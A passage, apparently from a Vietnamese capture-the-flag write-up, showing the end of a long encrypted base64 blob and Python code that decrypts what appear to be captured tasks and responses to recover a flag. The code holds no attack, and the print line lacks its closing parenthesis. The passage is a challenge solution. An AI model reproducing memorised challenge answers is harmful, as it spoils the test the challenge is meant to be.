"h/REF9LOiNe2K46pgej+c+5lFaMRnx40uJ6JVD8quWGTNi69IUUiPkoWxdstces12SyXDdgI9HwW37xqmPlGP2coNqmqBEJV2TgbhWHilslzeXOW3nuRNJ7xqbsjAlYZvzTdQnFNByCYUHEXnh/uctV0zSYIP23QvJRPm617f/+a4lshe8xLjPc/ChkjhkpX8lrOYKugW0imPMolvoySj567nkoXF95PwGFIjrbhn9/jqjKNWba2NRM1Zwkqrqk1O3OwOuYolcVjfl8CtRv3qIklviAKqfYS3WEXZq4+yYlICfZEVekO+LTkyhFmbnF6LHp6ZqN6CBTT3kIZfPQrIR8mhrBSvMXVC3ErTYRMEhcvKDWkn4HuuJh9TEoqqdKQERujl5LLq0IPIHAPE+xd+YGcUGhNb+ovozsGCBksquh6qGQYDS5XQsc43XKdBqnFoP9XZTa6p4KNVBvNXuR8CvPDhmKDeZTpdKtsESRKsmtaPfj8Qle7zu3kfbd2b0RCddz7THUD46+e0UjwTt8+yofKQVz3JHmEwqNCSxtagvHm1hMBnfpLWTwOzAc9H0r4IswJinMb0ovt1dFWGSdbzc4s/+YLSefDedRZHXW9FWqSgoIXGBc+EQhuFvQQPiI6hTTq64Y8+QpBBrGzXbop83rDGPBPs9ZtvafVDNY4bA5NMCuytOUB4jK50QgfpPjIlVfMajThihRhdoa6dJlquVlNq4pcFX3eTqX+UFQldlmwPyxVgIF8uXGJRg2UMuwYVYDq0nOCUPibCJ8H7pwbhSVMF87L1wpIgP2/eBSF1MIyfu621hIoXMLibDUaxLupq+FXoIhms+5Ow8kyxdi8EOZA55A2B5p2+Y9kZwaIpPsuPk3h78J+QvDmDwbe2U4IMSXVv252Tqumbymw4pmNNxzXQRCEQ4BlcGwOPYqxPBkxdg3k+FW1zPAFSNKy5X38MCszAZ/i1dcXYwShjj4VrZLMM+zitYwCAr5xxPRErG3dHd4ozN8jK6tkOGXtb8Q9smcQGtMLygl198EfXttQuieaEOwncrmoRVv3QV6+wo4qZ/jUx7KLXakmGhhnr4p6K4dLwT7QROiStuVUyuxNr7BisEhTKU5PpiSvCwoEl2+vYv+XfXC8kAK7+UZhJ7jW3EeNAlGq3vwo+PE0DFUFaN/yiCsaYQanw5s6Q2+boNph7ybKBU1jKj+cqnCh4clum6ZImXKmugKzzQI5B595kkgci2GmqK8ctnU7xOuVP4GH3VQkt4HttbeE+Q9QDM5QaI8AOi2WUl++W3bevqPf4wSPnk4kAc//cSdpHI+90U/NzsiwlMQ8VAoPjJ+b2VHWO51/1UqXUTnsWqCtM08dtHnxmwdfp3mHLE1DDWk+Fxu/6+hNQFv4hM5ir4IC5Jw2dhjY0e5JZ8s1dd28s+DzKNk8AaMq+h0ONWkzK6YF1mW8bXNSHaP2Ag9EnP50KPPZztfcwjUiy7dYR2oXqIPJiS9NwzoijJ/llTFPNOH7/vU5pBpcg7I+rqkr/ayCW2si3md4es2Mr21p0z8itsrDErrawjX7cb30rR7BEEY+9fUz/uxSvafuFG0CEUZxdXljsPNz94/ANu4qAiAqxZeRwMr+MZsyX/dYZoREl74sk4mOg0ilLhmTfFFN6d0te1es"] result_post_decrypted = [] for task, res in zip(tasks, result_post): decrypt_task.append(Decrypt(key, task)) result_post_decrypted.append(Decrypt(key, res)) print(decrypt_task[-1], '\n', result_post_decrypted[-1] ``` Từ output, ta có flag từ chuỗi hex. ---